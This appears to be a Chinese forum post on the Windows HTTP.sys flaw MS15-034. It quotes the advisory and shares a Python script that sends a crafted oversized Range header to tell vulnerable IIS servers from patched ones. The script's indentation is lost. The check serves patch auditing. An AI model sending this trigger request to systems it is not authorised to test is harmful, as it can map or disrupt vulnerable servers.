https://technet.microsoft.com/library/security/MS15-034
此安全更新可修复 Microsoft Windows 中的漏洞。 如果攻击者向受影响的 Windows 系统发送经特殊设计的的 HTTP 请求，此漏洞可能允许远程执行代码。
对于 Windows 7、Windows 8、Windows Server 2008 R2 和 Windows Server 2012 的所有受支持版本，此安全更新的等级为“严重”。有关详细信息，请参阅“受影响的软件”部分。
[Python] 纯文本查看 复制代码 import socket
import random
ipAddr = ""
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"
print " Audit Started"
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
if "Microsoft" not in boringResp:
print " Not IIS"
exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
print "[!!] Looks VULN"
elif " The request has an invalid header name" in goodResp:
print " Looks Patched"
else:
print " Unexpected response, cannot discern patch status" | 
发表于 2015-4-15 15:51:43
发表于 2015-6-29 05:11:15
